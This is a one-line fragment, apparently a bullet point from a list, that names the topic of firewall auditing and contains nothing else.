  • Firewall auditing